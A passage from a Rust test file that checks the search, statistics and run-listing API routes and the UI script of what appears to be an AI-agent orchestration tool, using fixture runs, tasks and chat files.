11104 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11105 let f = Fixture::start().await;
11106 let queue = f.queue();
11107 let mut t = Task::new(
11108 "short title".to_owned(),
11109 "line one\nthe hidden Armadillo detail".to_owned(),
11110 PathBuf::from("/repo/magi"),
11111 Source::Agent {
11112 run: "r1".to_owned(),
11113 node: "chat".to_owned(),
11114 },
11115 );
11116 t.last_error = Some("disk full on /tmp".to_owned());
11117 queue.put(&mut t).expect("file the task");
11118
11119 for (q, want) in [
11120 ("armadillo", 1),
11121 ("disk%20FULL", 1),
11122 ("chat", 1),
11123 ("queued", 1),
11124 ("short%20nothing", 0),
11125 ] {
11126 let v = f
11127 .get(&format!("/api/search?scope=tasks&q={q}"))
11128 .await
11129 .json();
11130 assert_eq!(v["total"], want, "{q}: {v}");
11131 }
11132 for bad in [
11133 "/api/search?scope=tasks&q=",
11134 "/api/search?scope=tasks&q=%20",
11135 "/api/search?scope=chats&q=",
11136 "/api/search?scope=chats&q=%20",
11137 "/api/search?scope=nope&q=a",
11138 "/api/search?q=a",
11139 ] {
11140 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11141 }
11142 }
11143
11144 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11146 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11147 .expect("seat value");
11148 let turns: Vec<serde_json::Value> = turns
11149 .iter()
11150 .map(|(who, body)| {
11151 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11152 })
11153 .collect();
11154 let doc = serde_json::json!({
11155 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11156 "status": status, "turns": turns,
11157 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11158 "seat": seat,
11159 });
11160 let dir = f.home.path().join("talks");
11161 std::fs::create_dir_all(&dir).expect("talks dir");
11162 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11163 }
11164
11165 #[tokio::test]
11166 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11167 let f = Fixture::start().await;
11168 write_talk(
11169 &f,
11170 "20260901-000001-aaaa",
11171 "open",
11172 &[
11173 (
11174 "operator",
11175 "\n Why does the Pangolin cache expire?\nsecond line",
11176 ),
11177 ("agent", "Because the TTL is thirty seconds."),
11178 ],
11179 );
11180 write_talk(
11181 &f,
11182 "20260901-000002-bbbb",
11183 "closed",
11184 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11185 );
11186 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11187
11188 let search = |q: &'static str| {
11189 let f = &f;
11190 async move {
11191 f.get(&format!("/api/search?scope=chats&q={q}"))
11192 .await
11193 .json()
11194 }
11195 };
11196
11197 let v = search("PANGOLIN").await;
11198 assert_eq!(v["scope"], "chats");
11199 assert_eq!(v["total"], 1, "{v}");
11200 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11201 assert_eq!(v["hits"][0]["field"], "title");
11202 assert_eq!(v["unreadable"], 1, "{v}");
11203 let marked: Vec<&str> = v["hits"][0]["snippet"]
11204 .as_array()
11205 .unwrap()
11206 .iter()
11207 .filter(|p| p["hit"] == true)
11208 .map(|p| p["text"].as_str().unwrap())
11209 .collect();
11210 assert_eq!(marked, ["Pangolin"]);
11211
11212 let v = search("zebra").await;
11214 assert_eq!(v["total"], 1, "{v}");
11215 assert_eq!(v["hits"][0]["field"], "agent");
11216 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11218 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11219 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11221 assert_eq!(search(q).await["total"], 0, "{q}");
11222 }
11223 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11225 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11227
11228 let v = f.get("/api/search?scope=nope&q=a").await;
11229 assert_eq!(v.status, 400);
11230 assert!(
11231 v.body.contains("scope must be runs, tasks or chats"),
11232 "{}",
11233 v.body
11234 );
11235 }
11236
11237 #[test]
11238 fn a_question_card_links_a_task_id_to_the_task_page() {
11239 let start = APP_JS
11240 .find("function updateAskCard(")
11241 .expect("updateAskCard exists");
11242 let body = &APP_JS[start..];
11243 let body = &body[..body.find("\n}\n").expect("function end")];
11244 assert!(body.contains("question.run_is_task"));
11245 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11246 assert!(body.contains("`#/runs/${question.run}`"));
11247 assert!(body.contains("\"task\" : \"run\""));
11248 }
11249
11250 #[test]
11251 fn stats_bars_share_one_id_keyed_plan() {
11252 let start = APP_JS
11253 .find("function statsBarRows(")
11254 .expect("statsBarRows exists");
11255 let body = &APP_JS[start..];
11256 let body = &body[..body.find("\n}\n").expect("function end")];
11257 assert!(body.contains("statsBarPlan(rows)"));
11258 assert!(body.contains("statsAgentTone(row.agent)"));
11259 assert!(!body.contains("candTone(i)"));
11260 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11261 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11262 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11263 }
11264 }
11265
11266 #[test]
11267 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11268 let start = APP_JS
11269 .find("function renderStatsReviewerScatter(")
11270 .expect("renderStatsReviewerScatter exists");
11271 let body = &APP_JS[start..];
11272 let body = &body[..body.find("\n}\n").expect("function end")];
11273 assert!(body.contains("statsScatterPlan(reviewers)"));
11274 assert!(body.contains("statsAgentTone(d.agent)"));
11275 assert!(APP_JS.contains("function statsScatterPlan("));
11276 assert!(
11277 APP_JS.contains("d.submitted < STATS_LOW_N")
11278 || APP_JS.contains("r.submitted < STATS_LOW_N")
11279 );
11280 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11281 assert!(APP_CSS.contains(".precision-scatter"));
11282 }
11283
11284 #[test]
11285 fn advisor_reflection_is_drawn_as_stacked_segments() {
11286 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11287 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11288 let html = include_str!("../assets/ui/index.html");
11289 assert!(html.contains("Approximate"));
11290 for label in ["reflected strongly", "faint", "no proposal"] {
11291 assert!(html.contains(label));
11292 }
11293 let css = include_str!("../assets/ui/app.css");
11294 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11295 assert!(css.contains(&format!(".{c} {{")));
11296 }
11297 }
11298
11299 #[test]
11300 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11301 assert!(APP_JS.contains("function statsDailyPlan("));
11302 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11303 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11304 }
11305
11306 #[test]
11307 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11308 let start = APP_JS
11309 .find("function scheduleSearch(")
11310 .expect("scheduleSearch exists");
11311 let body = &APP_JS[start..];
11312 let body = &body[..body.find("\n}\n").expect("function end")];
11313 assert!(body.contains("s.seq += 1"));
11314 }
11315
11316 #[tokio::test]
11321 async fn stats_runs_unreadable_matches_health() {
11322 let f = Fixture::start().await;
11323 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11324 let broken = f.runs().join("20260902-140502-bad");
11325 std::fs::create_dir_all(&broken).expect("run dir");
11326 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11327
11328 let stats = f.get("/api/stats").await;
11329 let health = f.get("/api/health").await;
11330
11331 assert_eq!(stats.status, 200);
11332 assert_eq!(stats.json()["totals"]["runs"], 1);
11333 assert_eq!(stats.json()["runs_unreadable"], 1);
11334 assert_eq!(
11335 stats.json()["runs_unreadable"],
11336 health.json()["runs_unreadable"],
11337 "the dashboard and /api/health must never disagree about how many \
11338 runs could not be read"
11339 );
11340 }
11341
11342 #[tokio::test]
11343 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11344 let f = Fixture::start().await;
11345 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11346 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11347 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11348
11349 let totals = &f.get("/api/stats").await.json()["totals"];
11350 assert_eq!(totals["runs"], 3);
11351 assert_eq!(totals["merged"], 1);
11352 assert_eq!(totals["stalled"], 1);
11353 assert_eq!(totals["in_progress"], 1);
11354 assert_eq!(totals["blocked"], 0);
11357 assert_eq!(totals["ready"], 0);
11358 }
11359
11360 #[tokio::test]
11361 async fn stats_advisors_report_proposals_and_reflection() {
11362 use crate::advise::{Advice, AdvisorRecord, Reflection};
11363 use crate::verdict::Proposal;
11364
11365 let f = Fixture::start().await;
11366 let mut state = RunState::new(
11367 PathBuf::from("/repo/magi"),
11368 "main".to_owned(),
11369 "0123456789abcdef".to_owned(),
11370 "task".to_owned(),
11371 Config::default(),
11372 );
11373 state.id = "20260902-140501-a".to_owned();
11374 state.status = RunStatus::Merged;
11375 state.advice = Some(Advice {
11376 records: vec![
11377 AdvisorRecord {
11378 seat: "advisor-1".to_owned(),
11379 agent: "alpha".to_owned(),
11380 proposal: Some(Proposal {
11381 approach: "do it".to_owned(),
11382 key_tradeoff: "speed over memory".to_owned(),
11383 risks: Vec::new(),
11384 touches: Vec::new(),
11385 why_not_naive: "breaks under load".to_owned(),
11386 }),
11387 error: None,
11388 duration_ms: 0,
11389 reflection: Reflection::Strong,
11390 },
11391 AdvisorRecord {
11392 seat: "advisor-2".to_owned(),
11393 agent: "alpha".to_owned(),
11394 proposal: None,
11395 error: Some("timed out".to_owned()),
11396 duration_ms: 0,
11397 reflection: Reflection::Absent,
11398 },
11399 ],
11400 synthesis: Some("blended brief".to_owned()),
11401 });
11402 let dir = f.runs().join(&state.id);
11403 std::fs::create_dir_all(&dir).expect("run dir");
11404 std::fs::write(
11405 dir.join("run.json"),
11406 serde_json::to_string_pretty(&state).expect("serialize run"),
11407 )
11408 .expect("write run.json");
11409
11410 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11411 let alpha = advisors
11412 .as_array()
11413 .expect("an array")
11414 .iter()
11415 .find(|a| a["agent"] == "alpha")
11416 .expect("alpha row");
11417 assert_eq!(alpha["seated"], 2);
11418 assert_eq!(alpha["proposed"], 1);
11419 assert_eq!(alpha["absent"], 1);
11420 assert_eq!(alpha["strong"], 1);
11421 assert_eq!(alpha["faint"], 0);
11422 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11423 }
11424
11425 #[tokio::test]
11426 async fn stats_release_bumps_split_clean_from_attention() {
11427 use crate::run::ReleaseBump;
11428
11429 let f = Fixture::start().await;
11430
11431 let mut clean = RunState::new(
11432 PathBuf::from("/repo/magi"),
11433 "main".to_owned(),
11434 "0123456789abcdef".to_owned(),
11435 "task".to_owned(),
11436 Config::default(),
11437 );
11438 clean.id = "20260902-140501-a".to_owned();
11439 clean.status = RunStatus::Merged;
11440 clean.release_bump = Some(ReleaseBump {
11441 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11442 version: Some("1.0.0".to_owned()),
11443 automerge_enabled: true,
11444 merged_directly: false,
11445 local: false,
11446 release: None,
11447 problem: None,
11448 action_required: None,
11449 });
11450
11451 let mut blocked = RunState::new(
11452 PathBuf::from("/repo/magi"),
11453 "main".to_owned(),
11454 "0123456789abcdef".to_owned(),
11455 "task".to_owned(),
11456 Config::default(),
11457 );
11458 blocked.id = "20260902-140502-b".to_owned();
11459 blocked.status = RunStatus::Merged;
11460 blocked.release_bump = Some(ReleaseBump {
11461 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11462 version: Some("1.0.1".to_owned()),
11463 automerge_enabled: false,
11464 merged_directly: false,
11465 local: false,
11466 release: None,
11467 problem: Some("checks red".to_owned()),
11468 action_required: Some("look at the PR".to_owned()),
11469 });
11470
11471 for state in [&clean, &blocked] {
11472 let dir = f.runs().join(&state.id);
11473 std::fs::create_dir_all(&dir).expect("run dir");
11474 std::fs::write(
11475 dir.join("run.json"),
11476 serde_json::to_string_pretty(state).expect("serialize run"),
11477 )
11478 .expect("write run.json");
11479 }
11480
11481 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11482 assert_eq!(bumps["merged"], 2);
11483 assert_eq!(bumps["recorded"], 2);
11484 assert_eq!(bumps["pr_opened"], 2);
11485 assert_eq!(bumps["automerge_enabled"], 1);
11486 assert_eq!(bumps["needs_attention"], 1);
11487 assert_eq!(bumps["clean"], 1);
11488 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11489 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11490 }
11491
11492 #[tokio::test]
11493 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11494 let f = Fixture::start().await;
11495 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11496
11497 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11498 assert_eq!(bumps["merged"], 1);
11499 assert_eq!(bumps["recorded"], 0);
11500 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11503 assert_eq!(bumps["automerge_rate"], Value::Null);
11506 assert_eq!(bumps["attention_rate"], Value::Null);
11507 }
11508
11509 #[tokio::test]
11510 async fn stats_queue_counts_come_from_the_live_queue() {
11511 let f = Fixture::start().await;
11512 let q = f.queue();
11513 let mut queued = Task::new(
11514 "queued task".to_owned(),
11515 "do it".to_owned(),
11516 PathBuf::from("/repo"),
11517 Source::Human,
11518 );
11519 q.put(&mut queued).expect("put queued");
11520 let mut held = Task::new(
11521 "held task".to_owned(),
11522 "do it later".to_owned(),
11523 PathBuf::from("/repo"),
11524 Source::Human,
11525 );
11526 held.hold_machine(Some("out of attempts".to_owned()));
11527 q.put(&mut held).expect("put held");
11528
11529 let queue = f.get("/api/stats").await.json()["queue"].clone();
11530 assert_eq!(queue["queued"], 1);
11531 assert_eq!(queue["held"], 1);
11532 assert_eq!(queue["running"], 0);
11533 assert_eq!(queue["done"], 0);
11534 assert_eq!(queue["failed"], 0);
11535 assert_eq!(queue["blocked"], 0);
11536 }
11537
11538 #[tokio::test]
11539 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11540 let f = Fixture::start().await;
11541 let stats = f.get("/api/stats").await;
11542 assert_eq!(stats.status, 200);
11543 assert_eq!(stats.json()["totals"]["runs"], 0);
11544 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11545 assert_eq!(stats.json()["runs_unreadable"], 0);
11546 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11547 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11548 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11549 assert_eq!(stats.json()["repo"], Value::Null);
11550 }
11551
11552 #[tokio::test]
11553 async fn stats_lists_every_repository_with_runs_recorded() {
11554 let f = Fixture::start().await;
11555 write_run_repo(
11556 &f.runs(),
11557 "20260902-140501-a",
11558 RunStatus::Merged,
11559 "/repos/a",
11560 );
11561 write_run_repo(
11562 &f.runs(),
11563 "20260902-140502-b",
11564 RunStatus::Merged,
11565 "/repos/a",
11566 );
11567 write_run_repo(
11568 &f.runs(),
11569 "20260902-140503-c",
11570 RunStatus::Blocked,
11571 "/repos/b",
11572 );
11573
11574 let stats = f.get("/api/stats").await;
11575 assert_eq!(stats.status, 200);
11576 assert_eq!(stats.json()["totals"]["runs"], 3);
11578 assert_eq!(stats.json()["repo"], Value::Null);
11579
11580 let repos = stats.json()["repos"].clone();
11581 let repos = repos.as_array().unwrap();
11582 assert_eq!(repos.len(), 2);
11583 assert_eq!(repos[0]["repo"], "/repos/a");
11585 assert_eq!(repos[0]["name"], "a");
11586 assert_eq!(repos[0]["runs"], 2);
11587 assert_eq!(repos[1]["repo"], "/repos/b");
11588 assert_eq!(repos[1]["runs"], 1);
11589 }
11590
11591 #[tokio::test]
11592 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11593 let f = Fixture::start().await;
11594 write_run_repo(
11595 &f.runs(),
11596 "20260902-140501-a",
11597 RunStatus::Merged,
11598 "/repos/a",
11599 );
11600 write_run_repo(
11601 &f.runs(),
11602 "20260902-140502-b",
11603 RunStatus::Blocked,
11604 "/repos/b",
11605 );
11606
11607 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11608 assert_eq!(stats.status, 200);
11609 assert_eq!(stats.json()["totals"]["runs"], 1);
11610 assert_eq!(stats.json()["totals"]["merged"], 1);
11611 assert_eq!(stats.json()["repo"], "/repos/a");
11612 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11615 assert_eq!(stats.json()["runs_unreadable"], 0);
11618 }
11619
11620 #[tokio::test]
11621 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11622 let f = Fixture::start().await;
11623 write_run_repo(
11624 &f.runs(),
11625 "20260902-140501-a",
11626 RunStatus::Merged,
11627 "/repos/a",
11628 );
11629 write_run_repo(
11630 &f.runs(),
11631 "20260902-140502-b",
11632 RunStatus::Merged,
11633 "/repos/b",
11634 );
11635
11636 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11637 let json = f.get(uri).await.json();
11638 let daily = json["daily"].as_array().expect("daily is an array");
11639 assert_eq!(daily.len(), 30);
11640 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11641 let mut sorted = dates.clone();
11642 sorted.sort();
11643 assert_eq!(dates, sorted);
11644 for d in daily {
11645 assert_eq!(
11646 d["merged"].as_u64().unwrap()
11647 + d["ready"].as_u64().unwrap()
11648 + d["other"].as_u64().unwrap(),
11649 d["runs"].as_u64().unwrap()
11650 );
11651 }
11652 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11653 }
11654 }
11655
11656 #[tokio::test]
11657 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11658 let f = Fixture::start().await;
11659 write_run_repo(
11660 &f.runs(),
11661 "20260902-140501-a",
11662 RunStatus::Merged,
11663 "/repos/a",
11664 );
11665
11666 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11667 assert_eq!(stats.status, 404);
11668 }
11669
11670 #[tokio::test]
11671 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11672 let f = Fixture::start().await;
11673 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11674
11675 let summary = f.get("/api/runs").await.json();
11676 let row = &summary[0];
11677 assert_eq!(row["short"], "a1b2");
11678 assert_eq!(row["status"], "ready");
11679 assert_eq!(row["done"], true);
11680 assert_eq!(row["title"], "Add a web UI");
11681 assert_eq!(row["repo_name"], "magi");
11682 assert_eq!(row["judges"], 3);
11683 assert_eq!(row["winner"], Value::Null);
11684 assert_eq!(row["reviews"], 0);
11685
11686 let detail = f.get("/api/runs/a1b2").await;
11689 assert_eq!(detail.status, 200);
11690 assert_eq!(detail.json()["base_branch"], "main");
11691 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11692 }
11693
11694 #[tokio::test]
11702 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11703 let f = Fixture::start().await;
11704
11705 let mut none_run = RunState::new(
11706 PathBuf::from("/repo/magi"),
11707 "main".to_owned(),
11708 "0123456789abcdef".to_owned(),
11709 "Add a web UI".to_owned(),
11710 Config::default(),
11711 );
11712 none_run.id = "20260902-140503-none".to_owned();
11713 none_run.status = RunStatus::Ready;
11714 none_run.merge = Some(crate::run::MergeOutcome {
11715 mode: crate::config::MergeMode::None,
11716 ok: true,
11717 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11718 empty: false,
11719 });
11720 write_state(&f.runs(), &none_run);
11721
11722 let mut pr_run = RunState::new(
11723 PathBuf::from("/repo/magi"),
11724 "main".to_owned(),
11725 "0123456789abcdef".to_owned(),
11726 "Add a web UI".to_owned(),
11727 Config::default(),
11728 );
11729 pr_run.id = "20260902-140504-prcl".to_owned();
11730 pr_run.status = RunStatus::Ready;
11731 pr_run.merge = Some(crate::run::MergeOutcome {
11732 mode: crate::config::MergeMode::Pr,
11733 ok: false,
11734 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11735 empty: false,
11736 });
11737 write_state(&f.runs(), &pr_run);
11738
11739 let summary = f.get("/api/runs").await.json();
11740 let rows: std::collections::HashMap<&str, &Value> = summary
11741 .as_array()
11742 .expect("an array")
11743 .iter()
11744 .map(|r| (r["id"].as_str().expect("an id"), r))
11745 .collect();
11746 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11747 assert_eq!(
11748 rows[none_run.id.as_str()]["unmerged_by_design"],
11749 true,
11750 "a mode-none Ready must be flagged in the list"
11751 );
11752 assert_eq!(
11753 rows[pr_run.id.as_str()]["unmerged_by_design"],
11754 false,
11755 "a Ready reached by a closed pull request is a different case"
11756 );
11757
11758 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11759 assert_eq!(none_detail["status"], "ready");
11760 assert_eq!(none_detail["unmerged_by_design"], true);
11761
11762 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11763 assert_eq!(pr_detail["unmerged_by_design"], false);
11764 }
11765
11766 #[tokio::test]
11771 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11772 let f = Fixture::start().await;
11773 let id = "20260902-140502-bbbb";
11777 let mut state = RunState::new(
11778 PathBuf::from("/repo/magi"),
11779 "main".to_owned(),
11780 "0123456789abcdef".to_owned(),
11781 "Add a web UI".to_owned(),
11782 Config::default(),
11783 );
11784 state.id = id.to_owned();
11785 state.status = RunStatus::Judging;
11786 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11787 let dir = f.runs().join(id);
11788 std::fs::create_dir_all(&dir).expect("run dir");
11789 std::fs::write(
11790 dir.join("run.json"),
11791 serde_json::to_string_pretty(&state).expect("serialize run"),
11792 )
11793 .expect("write run.json");
11794
11795 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11801 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11802 assert_eq!(cold["live"], "unknown", "{cold}");
11803
11804 write_daemon(f.home.path(), Timestamp::now());
11807 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11808 assert_eq!(warm["live"], "live", "{warm}");
11809 }
11810
11811 #[tokio::test]
11814 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11815 let f = Fixture::start().await;
11816 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11817 let mut state = RunState::new(
11818 PathBuf::from("/repo/magi"),
11819 "main".to_owned(),
11820 "0123456789abcdef".to_owned(),
11821 "Add a web UI".to_owned(),
11822 Config::default(),
11823 );
11824 state.id = id.to_owned();
11825 state.origin = origin;
11826 let mut value = serde_json::to_value(&state).expect("serialize run");
11827 if let Some(schema) = schema {
11828 value["schema"] = serde_json::json!(schema);
11829 value.as_object_mut().unwrap().remove("origin");
11830 }
11831 let dir = f.runs().join(id);
11832 std::fs::create_dir_all(&dir).expect("run dir");
11833 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11834 };
11835 write(
11836 "20260930-092817-ec34",
11837 Some(crate::run::Origin::from_agent_env(
11838 Some(("4a7b".to_owned(), "chat".to_owned())),
11839 None,
11840 )),
11841 None,
11842 );
11843 write("20260930-092817-0ld1", None, Some(12));
11844
11845 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11846 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11847 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11848
11849 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11850 assert_eq!(
11851 old["origin_label"], "origin unknown (started before origins were recorded)",
11852 "{old}"
11853 );
11854 assert!(old["origin"].is_null(), "{old}");
11855
11856 let list = f.get("/api/runs").await.json();
11857 let labels: Vec<_> = list
11858 .as_array()
11859 .unwrap()
11860 .iter()
11861 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11862 .collect();
11863 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11864 }
11865
11866 #[tokio::test]
11873 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11874 let f = Fixture::start().await;
11875 let id = "20260922-090000-cccc";
11876 let mut state = RunState::new(
11877 PathBuf::from("/repo/magi"),
11878 "main".to_owned(),
11879 "0123456789abcdef".to_owned(),
11880 "Review only".to_owned(),
11881 Config::default(),
11882 );
11883 state.id = id.to_owned();
11884 state.status = RunStatus::Reviewing;
11885 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11886 state.driver_pid = Some(std::process::id());
11892 state.driver_started_at = Some(
11893 crate::proc::process_started_at(std::process::id())
11894 .expect("this test process's own start time must be queryable"),
11895 );
11896 let dir = f.runs().join(id);
11897 std::fs::create_dir_all(&dir).expect("run dir");
11898 std::fs::write(
11899 dir.join("run.json"),
11900 serde_json::to_string_pretty(&state).expect("serialize run"),
11901 )
11902 .expect("write run.json");
11903
11904 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11905 assert_eq!(detail["live"], "live", "{detail}");
11906 }
11907
11908 #[tokio::test]
11914 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11915 let f = Fixture::start().await;
11916 let id = "20260922-090100-dddd";
11917 let mut state = RunState::new(
11918 PathBuf::from("/repo/magi"),
11919 "main".to_owned(),
11920 "0123456789abcdef".to_owned(),
11921 "Review only".to_owned(),
11922 Config::default(),
11923 );
11924 state.id = id.to_owned();
11925 state.status = RunStatus::Reviewing;
11926 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11927 state.driver_pid = Some(std::process::id());
11932 state.driver_started_at = Some("1".to_owned());
11933 let dir = f.runs().join(id);
11934 std::fs::create_dir_all(&dir).expect("run dir");
11935 std::fs::write(
11936 dir.join("run.json"),
11937 serde_json::to_string_pretty(&state).expect("serialize run"),
11938 )
11939 .expect("write run.json");
11940
11941 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11942 assert_eq!(detail["live"], "dead", "{detail}");
11943 }
11944
11945 #[test]
11949 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11950 let mk = |id: &str, pid: Option<u32>| {
11951 let mut s = RunState::new(
11952 PathBuf::from("/repo/magi"),
11953 "main".to_owned(),
11954 "0123456789abcdef".to_owned(),
11955 "Add a web UI".to_owned(),
11956 Config::default(),
11957 );
11958 s.id = id.to_owned();
11959 s.driver_pid = pid;
11960 s.driver_started_at = Some("1790000000".to_owned());
11961 s
11962 };
11963 let states = vec![
11964 mk("20260902-140502-aaaa", Some(77)),
11965 mk("20260902-140502-bbbb", Some(77)),
11966 mk("20260902-140502-cccc", Some(77)),
11967 mk("20260902-140502-dddd", None),
11968 ];
11969 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11970 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11971 let sup: HashMap<String, String> = [(
11972 "20260902-140502-aaaa".to_owned(),
11973 "20260902-140502-cccc".to_owned(),
11974 )]
11975 .into();
11976
11977 let status_calls = std::cell::Cell::new(0);
11978 let identity_calls = std::cell::Cell::new(0);
11979 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11980 |_| {
11981 status_calls.set(status_calls.get() + 1);
11982 Some(true)
11983 },
11984 |_| {
11985 identity_calls.set(identity_calls.get() + 1);
11986 Some("1790000000".to_owned())
11987 },
11988 ));
11989 let rows = summarize(
11990 states,
11991 &open,
11992 &claimed,
11993 &sup,
11994 |p| probe.borrow_mut().status(p),
11995 |p| probe.borrow_mut().started_at(p),
11996 );
11997
11998 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11999 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12000 assert_eq!(rows.len(), 4);
12001 assert!(!rows[0].waiting && rows[1].waiting);
12002 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12003 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12004 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12005 assert_eq!(rows[1].superseded_by, None);
12006 }
12007
12008 #[test]
12009 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12010 let mut state = RunState::new(
12011 PathBuf::from("/repo/magi"),
12012 "main".to_owned(),
12013 "0123456789abcdef".to_owned(),
12014 "Review only".to_owned(),
12015 Config::default(),
12016 );
12017 state.id = "20260922-090200-dead".to_owned();
12018 state.status = RunStatus::Reviewing;
12019 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12020 .expect("serialize list row");
12021 assert_eq!(row["status"], "reviewing");
12022 assert_eq!(row["live"], "dead", "{row}");
12023 assert!(!row["done"].as_bool().unwrap());
12024 }
12025
12026 #[tokio::test]
12027 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12028 let f = Fixture::start().await;
12029 for id in [
12030 "20260902-140501-aaaa",
12031 "20260902-140502-bbbb",
12032 "20260902-140503-cccc",
12033 ] {
12034 write_run(&f.runs(), id, RunStatus::Merged);
12035 }
12036
12037 let all = f.get("/api/runs").await.json();
12038 let capped = f.get("/api/runs?limit=2").await.json();
12039
12040 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12041 assert_eq!(all.as_array().map(Vec::len), Some(3));
12042 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12043 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12044 }
12045
12046 #[tokio::test]
12047 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12048 let f = Fixture::start().await;
